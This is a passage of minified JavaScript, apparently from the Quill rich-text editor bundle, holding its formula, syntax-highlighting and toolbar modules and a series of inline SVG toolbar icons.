hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function l(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0}),e.default=e.FormulaBlot=void 0;var a=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),s=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},u=n(33),c=r(u),f=n(6),h=r(f),p=n(7),d=r(p),y=function(t){function e(){return o(this,e),i(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return l(e,t),a(e,null,[{key:"create",value:function(t){var n=s(e.__proto__||Object.getPrototypeOf(e),"create",this).call(this,t);return"string"==typeof t&&(window.katex.render(t,n,{throwOnError:!1,errorColor:"#f00"}),n.setAttribute("data-value",t)),n}},{key:"value",value:function(t){return t.getAttribute("data-value")}}]),e}(c.default);y.blotName="formula",y.className="ql-formula",y.tagName="SPAN";var v=function(t){function e(){o(this,e);var t=i(this,(e.__proto__||Object.getPrototypeOf(e)).call(this));if(null==window.katex)throw new Error("Formula module requires KaTeX.");return t}return l(e,t),a(e,null,[{key:"register",value:function(){h.default.register(y,!0)}}]),e}(d.default);e.FormulaBlot=y,e.default=v},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function l(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0}),e.default=e.CodeToken=e.CodeBlock=void 0;var a=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),s=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},u=n(0),c=r(u),f=n(6),h=r(f),p=n(7),d=r(p),y=n(13),v=r(y),b=function(t){function e(){return o(this,e),i(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return l(e,t),a(e,[{key:"replaceWith",value:function(t){this.domNode.textContent=this.domNode.textContent,this.attach(),s(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"replaceWith",this).call(this,t)}},{key:"highlight",value:function(t){var e=this.domNode.textContent;this.cachedText!==e&&((e.trim().length>0||null==this.cachedText)&&(this.domNode.innerHTML=t(e),this.domNode.normalize(),this.attach()),this.cachedText=e)}}]),e}(v.default);b.className="ql-syntax";var g=new c.default.Attributor.Class("token","hljs",{scope:c.default.Scope.INLINE}),m=function(t){function e(t,n){o(this,e);var r=i(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t,n));if("function"!=typeof r.options.highlight)throw new Error("Syntax module requires highlight.js. Please include the library on the page before Quill.");var l=null;return r.quill.on(h.default.events.SCROLL_OPTIMIZE,function(){clearTimeout(l),l=setTimeout(function(){r.highlight(),l=null},r.options.interval)}),r.highlight(),r}return l(e,t),a(e,null,[{key:"register",value:function(){h.default.register(g,!0),h.default.register(b,!0)}}]),a(e,[{key:"highlight",value:function(){var t=this;if(!this.quill.selection.composing){this.quill.update(h.default.sources.USER);var e=this.quill.getSelection();this.quill.scroll.descendants(b).forEach(function(e){e.highlight(t.options.highlight)}),this.quill.update(h.default.sources.SILENT),null!=e&&this.quill.setSelection(e,h.default.sources.SILENT)}}}]),e}(d.default);m.DEFAULTS={highlight:function(){return null==window.hljs?null:function(t){return window.hljs.highlightAuto(t).value}}(),interval:1e3},e.CodeBlock=b,e.CodeToken=g,e.default=m},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function l(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function a(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function s(t,e,n){var r=document.createElement("button");r.setAttribute("type","button"),r.classList.add("ql-"+e),null!=n&&(r.value=n),t.appendChild(r)}function u(t,e){Array.isArray(e[0])||(e=[e]),e.forEach(function(e){var n=document.createElement("span");n.classList.add("ql-formats"),e.forEach(function(t){if("string"==typeof t)s(n,t);else{var e=Object.keys(t)[0],r=t[e];Array.isArray(r)?c(n,e,r):s(n,e,r)}}),t.appendChild(n)})}function c(t,e,n){var r=document.createElement("select");r.classList.add("ql-"+e),n.forEach(function(t){var e=document.createElement("option");!1!==t?e.setAttribute("value",t):e.setAttribute("selected","selected"),r.appendChild(e)}),t.appendChild(r)}Object.defineProperty(e,"__esModule",{value:!0}),e.addControls=e.default=void 0;var f=function(){function t(t,e){var n=[],r=!0,o=!1,i=void 0;try{for(var l,a=t[Symbol.iterator]();!(r=(l=a.next()).done)&&(n.push(l.value),!e||n.length!==e);r=!0);}catch(t){o=!0,i=t}finally{try{!r&&a.return&&a.return()}finally{if(o)throw i}}return n}return function(e,n){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),h=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),p=n(4),d=r(p),y=n(0),v=r(y),b=n(6),g=r(b),m=n(10),_=r(m),O=n(7),w=r(O),x=(0,_.default)("quill:toolbar"),k=function(t){function e(t,n){i(this,e);var r=l(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t,n));if(Array.isArray(r.options.container)){var o=document.createElement("div");u(o,r.options.container),t.container.parentNode.insertBefore(o,t.container),r.container=o}else"string"==typeof r.options.container?r.container=document.querySelector(r.options.container):r.container=r.options.container;if(!(r.container instanceof HTMLElement)){var a;return a=x.error("Container required for toolbar",r.options),l(r,a)}return r.container.classList.add("ql-toolbar"),r.controls=[],r.handlers={},Object.keys(r.options.handlers).forEach(function(t){r.addHandler(t,r.options.handlers[t])}),[].forEach.call(r.container.querySelectorAll("button, select"),function(t){r.attach(t)}),r.quill.on(g.default.events.EDITOR_CHANGE,function(t,e){t===g.default.events.SELECTION_CHANGE&&r.update(e)}),r.quill.on(g.default.events.SCROLL_OPTIMIZE,function(){var t=r.quill.selection.getRange(),e=f(t,1),n=e[0];r.update(n)}),r}return a(e,t),h(e,[{key:"addHandler",value:function(t,e){this.handlers[t]=e}},{key:"attach",value:function(t){var e=this,n=[].find.call(t.classList,function(t){return 0===t.indexOf("ql-")});if(n){if(n=n.slice("ql-".length),"BUTTON"===t.tagName&&t.setAttribute("type","button"),null==this.handlers[n]){if(null!=this.quill.scroll.whitelist&&null==this.quill.scroll.whitelist[n])return void x.warn("ignoring attaching to disabled format",n,t);if(null==v.default.query(n))return void x.warn("ignoring attaching to nonexistent format",n,t)}var r="SELECT"===t.tagName?"change":"click";t.addEventListener(r,function(r){var i=void 0;if("SELECT"===t.tagName){if(t.selectedIndex<0)return;var l=t.options[t.selectedIndex];i=!l.hasAttribute("selected")&&(l.value||!1)}else i=!t.classList.contains("ql-active")&&(t.value||!t.hasAttribute("value")),r.preventDefault();e.quill.focus();var a=e.quill.selection.getRange(),s=f(a,1),u=s[0];if(null!=e.handlers[n])e.handlers[n].call(e,i);else if(v.default.query(n).prototype instanceof v.default.Embed){if(!(i=prompt("Enter "+n)))return;e.quill.updateContents((new d.default).retain(u.index).delete(u.length).insert(o({},n,i)),g.default.sources.USER)}else e.quill.format(n,i,g.default.sources.USER);e.update(u)}),this.controls.push([n,t])}}},{key:"update",value:function(t){var e=null==t?{}:this.quill.getFormat(t);this.controls.forEach(function(n){var r=f(n,2),o=r[0],i=r[1];if("SELECT"===i.tagName){var l=void 0;if(null==t)l=null;else if(null==e[o])l=i.querySelector("option[selected]");else if(!Array.isArray(e[o])){var a=e[o];"string"==typeof a&&(a=a.replace(/\"/g,'\\"')),l=i.querySelector('option[value="'+a+'"]')}null==l?(i.value="",i.selectedIndex=-1):l.selected=!0}else if(null==t)i.classList.remove("ql-active");else if(i.hasAttribute("value")){var s=e[o]===i.getAttribute("value")||null!=e[o]&&e[o].toString()===i.getAttribute("value")||null==e[o]&&!i.getAttribute("value");i.classList.toggle("ql-active",s)}else i.classList.toggle("ql-active",null!=e[o])})}}]),e}(w.default);k.DEFAULTS={},k.DEFAULTS={container:null,handlers:{clean:function(){var t=this,e=this.quill.getSelection();if(null!=e)if(0==e.length){var n=this.quill.getFormat();Object.keys(n).forEach(function(e){null!=v.default.query(e,v.default.Scope.INLINE)&&t.quill.format(e,!1)})}else this.quill.removeFormat(e,g.default.sources.USER)},direction:function(t){var e=this.quill.getFormat().align;"rtl"===t&&null==e?this.quill.format("align","right",g.default.sources.USER):t||"right"!==e||this.quill.format("align",!1,g.default.sources.USER),this.quill.format("direction",t,g.default.sources.USER)},indent:function(t){var e=this.quill.getSelection(),n=this.quill.getFormat(e),r=parseInt(n.indent||0);if("+1"===t||"-1"===t){var o="+1"===t?1:-1;"rtl"===n.direction&&(o*=-1),this.quill.format("indent",r+o,g.default.sources.USER)}},link:function(t){!0===t&&(t=prompt("Enter link URL:")),this.quill.format("link",t,g.default.sources.USER)},list:function(t){var e=this.quill.getSelection(),n=this.quill.getFormat(e);"check"===t?"checked"===n.list||"unchecked"===n.list?this.quill.format("list",!1,g.default.sources.USER):this.quill.format("list","unchecked",g.default.sources.USER):this.quill.format("list",t,g.default.sources.USER)}}},e.default=k,e.addControls=u},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=3 x2=15 y1=9 y2=9></line> <line class=ql-stroke x1=3 x2=13 y1=14 y2=14></line> <line class=ql-stroke x1=3 x2=9 y1=4 y2=4></line> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=15 x2=3 y1=9 y2=9></line> <line class=ql-stroke x1=14 x2=4 y1=14 y2=14></line> <line class=ql-stroke x1=12 x2=6 y1=4 y2=4></line> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=15 x2=3 y1=9 y2=9></line> <line class=ql-stroke x1=15 x2=5 y1=14 y2=14></line> <line class=ql-stroke x1=15 x2=9 y1=4 y2=4></line> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=15 x2=3 y1=9 y2=9></line> <line class=ql-stroke x1=15 x2=3 y1=14 y2=14></line> <line class=ql-stroke x1=15 x2=3 y1=4 y2=4></line> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <g class="ql-fill ql-color-label"> <polygon points="6 6.868 6 6 5 6 5 7 5.942 7 6 6.868"></polygon> <rect height=1 width=1 x=4 y=4></rect> <polygon points="6.817 5 6 5 6 6 6.38 6 6.817 5"></polygon> <rect height=1 width=1 x=2 y=6></rect> <rect height=1 width=1 x=3 y=5></rect> <rect height=1 width=1 x=4 y=7></rect> <polygon points="4 11.439 4 11 3 11 3 12 3.755 12 4 11.439"></polygon> <rect height=1 width=1 x=2 y=12></rect> <rect height=1 width=1 x=2 y=9></rect> <rect height=1 width=1 x=2 y=15></rect> <polygon points="4.63 10 4 10 4 11 4.192 11 4.63 10"></polygon> <rect height=1 width=1 x=3 y=8></rect> <path d=M10.832,4.2L11,4.582V4H10.708A1.948,1.948,0,0,1,10.832,4.2Z></path> <path d=M7,4.582L7.168,4.2A1.929,1.929,0,0,1,7.292,4H7V4.582Z></path> <path d=M8,13H7.683l-0.351.8a1.933,1.933,0,0,1-.124.2H8V13Z></path> <rect height=1 width=1 x=12 y=2></rect> <rect height=1 width=1 x=11 y=3></rect> <path d=M9,3H8V3.282A1.985,1.985,0,0,1,9,3Z></path> <rect height=1 width=1 x=2 y=3></rect> <rect height=1 width=1 x=6 y=2></rect> <rect height=1 width=1 x=3 y=2></rect> <rect height=1 width=1 x=5 y=3></rect> <rect height=1 width=1 x=9 y=2></rect> <rect height=1 width=1 x=15 y=14></rect> <polygon points="13.447 10.174 13.469 10.225 13.472 10.232 13.808 11 14 11 14 10 13.37 10 13.447 10.174"></polygon> <rect height=1 width=1 x=13 y=7></rect> <rect height=1 width=1 x=15 y=5></rect> <rect height=1 width=1 x=14 y=6></rect> <rect height=1 width=1 x=15 y=8></rect> <rect height=1 width=1 x=14 y=9></rect> <path d=M3.775,14H3v1H4V14.314A1.97,1.97,0,0,1,3.775,14Z></path> <rect height=1 width=1 x=14 y=3></rect> <polygon points="12 6.868 12 6 11.62 6 12 6.868"></polygon> <rect height=1 width=1 x=15 y=2></rect> <rect height=1 width=1 x=12 y=5></rect> <rect height=1 width=1 x=13 y=4></rect> <polygon points="12.933 9 13 9 13 8 12.495 8 12.933 9"></polygon> <rect height=1 width=1 x=9 y=14></rect> <rect height=1 width=1 x=8 y=15></rect> <path d=M6,14.926V15H7V14.316A1.993,1.993,0,0,1,6,14.926Z></path> <rect height=1 width=1 x=5 y=15></rect> <path d=M10.668,13.8L10.317,13H10v1h0.792A1.947,1.947,0,0,1,10.668,13.8Z></path> <rect height=1 width=1 x=11 y=15></rect> <path d=M14.332,12.2a1.99,1.99,0,0,1,.166.8H15V12H14.245Z></path> <rect height=1 width=1 x=14 y=15></rect> <rect height=1 width=1 x=15 y=11></rect> </g> <polyline class=ql-stroke points="5.5 13 9 5 12.5 13"></polyline> <line class=ql-stroke x1=11.63 x2=6.38 y1=11 y2=11></line> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <rect class="ql-fill ql-stroke" height=3 width=3 x=4 y=5></rect> <rect class="ql-fill ql-stroke" height=3 width=3 x=11 y=5></rect> <path class="ql-even ql-fill ql-stroke" d=M7,8c0,4.031-3,5-3,5></path> <path class="ql-even ql-fill ql-stroke" d=M14,8c0,4.031-3,5-3,5></path> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <path class=ql-stroke d=M5,4H9.5A2.5,2.5,0,0,1,12,6.5v0A2.5,2.5,0,0,1,9.5,9H5A0,0,0,0,1,5,9V4A0,0,0,0,1,5,4Z></path> <path class=ql-stroke d=M5,9h5.5A2.5,2.5,0,0,1,13,11.5v0A2.5,2.5,0,0,1,10.5,14H5a0,0,0,0,1,0,0V9A0,0,0,0,1,5,9Z></path> </svg>'},function(t,e){t.exports='<svg class="" viewbox="0 0 18 18"> <line class=ql-stroke x1=5 x2=13 y1=3 y2=3></line> <line class=ql-stroke x1=6 x2=9.35 y1=12 y2=3></line> <line class=ql-stroke x1=11 x2=15 y1=11 y2=15></line> <line class=ql-stroke x1=15 x2=11 y1=11 y2=15></line> <rect class=ql-fill height=1 rx=0.5 ry=0.5 width=7 x=2 y=14></rect> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <line class="ql-color-label ql-stroke ql-transparent" x1=3 x2=15 y1=15 y2=15></line> <polyline class=ql-stroke points="5.5 11 9 3 12.5 11"></polyline> <line class=ql-stroke x1=11.63 x2=6.38 y1=9 y2=9></line> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <polygon class="ql-stroke ql-fill" points="3 11 5 9 3 7 3 11"></polygon> <line class="ql-stroke ql-fill" x1=15 x2=11 y1=4 y2=4></line> <path class=ql-fill d=M11,3a3,3,0,0,0,0,6h1V3H11Z></path> <rect class=ql-fill height=11 width=1 x=11 y=4></rect> <rect class=ql-fill height=11 width=1 x=13 y=4></rect> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <polygon class="ql-stroke ql-fill" points="15 12 13 10 15 8 15 12"></polygon> <line class="ql-stroke ql-fill" x1=9 x2=5 y1=4 y2=4></line> <path class=ql-fill d=M5,3A3,3,0,0,0,5,9H6V3H5Z></path> <rect class=ql-fill height=11 width=1 x=5 y=4></rect> <rect class=ql-fill height=11 width=1 x=7 y=4></rect> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <path class=ql-fill d=M14,16H4a1,1,0,0,1,0-2H14A1,1,0,0,1,14,16Z /> <path class=ql-fill d=M14,4H4A1,1,0,0,1,4,2H14A1,1,0,0,1,14,4Z /> <rect class=ql-fill x=3 y=6 width=12 height=6 rx=1 ry=1 /> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <path class=ql-fill d=M13,16H5a1,1,0,0,1,0-2h8A1,1,0,0,1,13,16Z /> <path class=ql-fill d=M13,4H5A1,1,0,0,1,5,2h8A1,1,0,0,1,13,4Z /> <rect class=ql-fill x=2 y=6 width=14 height=6 rx=1 ry=1 /> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <path class=ql-fill d=M15,8H13a1,1,0,0,1,0-2h2A1,1,0,0,1,15,8Z /> <path class=ql-fill d=M15,12H13a1,1,0,0,1,0-2h2A1,1,0,0,1,15,12Z /> <path class=ql-fill d=M15,16H5a1,1,0,0,1,0-2H15A1,1,0,0,1,15,16Z /> <path class=ql-fill d=M15,4H5A1,1,0,0,1,5,2H15A1,1,0,0,1,15,4Z /> <rect class=ql-fill x=2 y=6 width=8 height=6 rx=1 ry=1 /> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <path class=ql-fill d=M5,8H3A1,1,0,0,1,3,6H5A1,1,0,0,1,5,8Z /> <path class=ql-fill d=M5,12H3a1,1,0,0,1,0-2H5A1,1,0,0,1,5,12Z /> <path class=ql-fill d=M13,16H3a1,1,0,0,1,0-2H13A1,1,0,0,1,13,16Z /> <path class=ql-fill d=M13,4H3A1,1,0,0,1,3,2H13A1,1,0,0,1,13,4Z /> <rect class=ql-fill x=8 y=6 width=8 height=6 rx=1 ry=1 transform="translate(24 18) rotate(-180)"/> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <path class=ql-fill d=M11.759,2.482a2.561,2.561,0,0,0-3.53.607A7.656,7.656,0,0,0,6.8,6.2C6.109,9.188,5.275,14.677,4.15,14.927a1.545,1.545,0,0,0-1.3-.933A0.922,0.922,0,0,0,2,15.036S1.954,16,4.119,16s3.091-2.691,3.7-5.553c0.177-.826.36-1.726,0.554-2.6L8.775,6.2c0.381-1.421.807-2.521,1.306-2.676a1.014,1.014,0,0,0,1.02.56A0.966,0.966,0,0,0,11.759,2.482Z></path> <rect class=ql-fill height=1.6 rx=0.8 ry=0.8 width=5 x=5.15 y=6.2></rect> <path class=ql-fill d=M13.663,12.027a1.662,1.662,0,0,1,.266-0.276q0.193,0.069.456,0.138a2.1,2.1,0,0,0,.535.069,1.075,1.075,0,0,0,.767-0.3,1.044,1.044,0,0,0,.314-0.8,0.84,0.84,0,0,0-.238-0.619,0.8,0.8,0,0,0-.594-0.239,1.154,1.154,0,0,0-.781.3,4.607,4.607,0,0,0-.781,1q-0.091.15-.218,0.346l-0.246.38c-0.068-.288-0.137-0.582-0.212-0.885-0.459-1.847-2.494-.984-2.941-0.8-0.482.2-.353,0.647-0.094,0.529a0.869,0.869,0,0,1,1.281.585c0.217,0.751.377,1.436,0.527,2.038a5.688,5.688,0,0,1-.362.467,2.69,2.69,0,0,1-.264.271q-0.221-.08-0.471-0.147a2.029,2.029,0,0,0-.522-0.066,1.079,1.079,0,0,0-.768.3A1.058,1.058,0,0,0,9,15.131a0.82,0.82,0,0,0,.832.852,1.134,1.134,0,0,0,.787-0.3,5.11,5.11,0,0,0,.776-0.993q0.141-.219.215-0.34c0.046-.076.122-0.194,0.223-0.346a2.786,2.786,0,0,0,.918,1.726,2.582,2.582,0,0,0,2.376-.185c0.317-.181.212-0.565,0-0.494A0.807,0.807,0,0,1,14.176,15a5.159,5.159,0,0,1-.913-2.446l0,0Q13.487,12.24,13.663,12.027Z></path> </svg>'},function(t,e){t.exports='<svg viewBox="0 0 18 18"> <path class=ql-fill d=M10,4V14a1,1,0,0,1-2,0V10H3v4a1,1,0,0,1-2,0V4A1,1,0,0,1,3,4V8H8V4a1,1,0,0,1,2,0Zm6.06787,9.209H14.98975V7.59863a.54085.54085,0,0,0-.605-.60547h-.62744a1.01119,1.01119,0,0,0-.748.29688L11.645,8.56641a.5435.5435,0,0,0-.022.8584l.28613.30762a.53861.53861,0,0,0,.84717.0332l.09912-.08789a1.2137,1.2137,0,0,0,.2417-.35254h.02246s-.01123.30859-.01123.60547V13.209H12.041a.54085.54085,0,0,0-.605.60547v.43945a.54085.54085,0,0,0,.605.60547h4.02686a.54085.54085,0,0,0,.605-.60547v-.43945A.54085.54085,0,0,0,16.06787,13.209Z /> </svg>'},function(t,e){t.exports='<svg viewBox="0 0 18 18"> <path class=ql-fill d=M16.73975,13.81445v.43945a.54085.54085,0,0,1-.605.60547H11.855a.58392.58392,0,0,1-.64893-.60547V14.0127c0-2.90527,3.39941-3.42187,3.39941-4.55469a.77675.77675,0,0,0-.84717-.78125,1.17684,1.17684,0,0,0-.83594.38477c-.2749.26367-.561.374-.85791.13184l-.4292-.34082c-.30811-.24219-.38525-.51758-.1543-.81445a2.97155,2.97155,0,0,1,2.45361-1.17676,2.45393,2.45393,0,0,1,2.68408,2.40918c0,2.45312-3.1792,2.92676-3.27832,3.93848h2.79443A.54085.54085,0,0,1,16.73975,13.81445ZM9,3A.99974.99974,0,0,0,8,4V8H3V4A1,1,0,0,0,1,4V14a1,1,0,0,0,2,0V10H8v4a1,1,0,0,0,2,0V4A.99974.99974,0,0,0,9,3Z /> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=7 x2=13 y1=4 y2=4></line> <line class=ql-stroke x1=5 x2=11 y1=14 y2=14></line> <line class=ql-stroke x1=8 x2=10 y1=14 y2=4></line> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <rect class=ql-stroke height=10 width=12 x=3 y=4></rect> <circle class=ql-fill cx=6 cy=7 r=1></circle> <polyline class="ql-even ql-fill" points="5 12 5 11 7 9 8 10 11 7 13 9 13 12 5 12"></polyline> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=3 x2=15 y1=14 y2=14></line> <line class=ql-stroke x1=3 x2=15 y1=4 y2=4></line> <line class=ql-stroke x1=9 x2=15 y1=9 y2=9></line> <polyline class="ql-fill ql-stroke" points="3 7 3 11 5 9 3 7"></polyline> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=3 x2=15 y1=14 y2=14></line> <line class=ql-stroke x1=3 x2=15 y1=4 y2=4></line> <line class=ql-stroke x1=9 x2=15 y1=9 y2=9></line> <polyline class=ql-stroke points="5 7 5 11 3 9 5 7"></polyline> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=7 x2=11 y1=7 y2=11></line> <path class="ql-even ql-stroke" d=M8.9,4.577a3.476,3.476,0,0,1,.36,4.679A3.476,3.476,0,0,1,4.577,8.9C3.185,7.5,2.035,6.4,4.217,4.217S7.5,3.185,8.9,4.577Z></path> <path class="ql-even ql-stroke" d=M13.423,9.1a3.476,3.476,0,0,0-4.679-.36,3.476,3.476,0,0,0,.36,4.679c1.392,1.392,2.5,2.542,4.679.36S14.815,10.5,13.423,9.1Z></path> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=7 x2=15 y1=4 y2=4></line> <line class=ql-stroke x1=7 x2=15 y1=9 y2=9></line> <line class=ql-stroke x1=7 x2=15 y1=14 y2=14></line> <line class="ql-stroke ql-thin" x1=2.5 x2=4.5 y1=5.5 y2=5.5></line> <path class=ql-fill d=M3.5,6A0.5,0.5,0,0,1,3,5.5V3.085l-0.276.138A0.5,0.5,0,0,1,2.053,3c-0.124-.247-0.023-0.324.224-0.447l1-.5A0.5,0.5,0,0,1,4,2.5v3A0.5,0.5,0,0,1,3.5,6Z></path> <path class="ql-stroke ql-thin" d=M4.5,10.5h-2c0-.234,1.85-1.076,1.85-2.234A0.959,0.959,0,0,0,2.5,8.156></path> <path class="ql-stroke ql-thin" d=M2.5,14.846a0.959,0.959,0,0,0,1.85-.109A0.7,0.7,0,0,0,3.75,14a0.688,0.688,0,0,0,.6-0.736,0.959,0.959,0,0,0-1.85-.109></path> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=6 x2=15 y1=4 y2=4></line> <line class=ql-stroke x1=6 x2=15 y1=9 y2=9></line> <line class=ql-stroke x1=6 x2=15 y1=14 y2=14></line> <line class=ql-stroke x1=3 x2=3 y1=4 y2=4></line> <line class=ql-stroke x1=3 x2=3 y1=9 y2=9></line> <line class=ql-stroke x1=3 x2=3 y1=14 y2=14></line> </svg>'},function(t,e){t.exports='<svg class="" viewbox="0 0 18 18"> <line class=ql-stroke x1=9 x2=15 y1=4 y2=4></line> <polyline class=ql-stroke points="3 4 4 5 6 3"></polyline> <line class=ql-stroke x1=9 x2=15 y1=14 y2=14></line> <polyline class=ql-stroke points="3 14 4 15 6 13"></polyline> <line class=ql-stroke x1=9 x2=15 y1=9 y2=9></line> <polyline class=ql-stroke points="3 9 4 10 6 8"></polyline> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <path class=ql-fill d=M15.5,15H13.861a3.858,3.858,0,0,0,1.914-2.975,1.8,1.8,0,0,0-1.6-1.751A1.921,1.921,0,0,0,12.021,11.7a0.50013,0.50013,0,1,0,.957.291h0a0.914,0.914,0,0,1,1.053-.725,0.81,0.81,0,0,1,.744.762c0,1.076-1.16971,1.86982-1.93971,2.43082A1.45639,1.45639,0,0,0,12,15.5a0.5,0.5,0,0,0,.5.5h3A0.5,0.5,0,0,0,15.5,15Z /> <path class=ql-fill d=M9.65,5.241a1,1,0,0,0-1.409.108L6,7.964,3.759,5.349A1,1,0,0,0,2.192,6.59178Q2.21541,6.6213,2.241,6.649L4.684,9.5,2.241,12.35A1,1,0,0,0,3.71,13.70722q0.02557-.02768.049-0.05722L6,11.036,8.241,13.65a1,1,0,1,0,1.567-1.24277Q9.78459,12.3777,9.759,12.35L7.316,9.5,9.759,6.651A1,1,0,0,0,9.65,5.241Z /> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <path class=ql-fill d=M15.5,7H13.861a4.015,4.015,0,0,0,1.914-2.975,1.8,1.8,0,0,0-1.6-1.751A1.922,1.922,0,0,0,12.021,3.7a0.5,0.5,0,1,0,.957.291,0.917,0.917,0,0,1,1.053-.725,0.81,0.81,0,0,1,.744.762c0,1.077-1.164,1.925-1.934,2.486A1.423,1.423,0,0,0,12,7.5a0.5,0.5,0,0,0,.5.5h3A0.5,0.5,0,0,0,15.5,7Z /> <path class=ql-fill d=M9.651,5.241a1,1,0,0,0-1.41.108L6,7.964,3.759,5.349a1,1,0,1,0-1.519,1.3L4.683,9.5,2.241,12.35a1,1,0,1,0,1.519,1.3L6,11.036,8.241,13.65a1,1,0,0,0,1.519-1.3L7.317,9.5,9.759,6.651A1,1,0,0,0,9.651,5.241Z /> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <line class="ql-stroke ql-thin" x1=15.5 x2=2.5 y1=8.5 y2=9.5></line> <path class=ql-fill d=M9.007,8C6.542,7.791,6,7.519,6,6.5,6,5.792,7.283,5,9,5c1.571,0,2.765.679,2.969,1.309a1,1,0,0,0,1.9-.617C13.356,4.106,11.354,3,9,3,6.2,3,4,4.538,4,6.5a3.2,3.2,0,0,0,.5,1.843Z></path> <path class=ql-fill d=M8.984,10C11.457,10.208,12,10.479,12,11.5c0,0.708-1.283,1.5-3,1.5-1.571,0-2.765-.679-2.969-1.309a1,1,0,1,0-1.9.617C4.644,13.894,6.646,15,9,15c2.8,0,5-1.538,5-3.5a3.2,3.2,0,0,0-.5-1.843Z></path> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <path class=ql-stroke d=M5,3V9a4.012,4.012,0,0,0,4,4H9a4.012,4.012,0,0,0,4-4V3></path> <rect class=ql-fill height=1 rx=0.5 ry=0.5 width=12 x=3 y=15></rect> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <rect class=ql-stroke height=12 width=12 x=3 y=3></rect> <rect class=ql-fill height=12 width=1 x=5 y=3></rect> <rect class=ql-fill height=12 width=1 x=12 y=3></rect> <rect class=ql-fill height=2 width=8 x=5 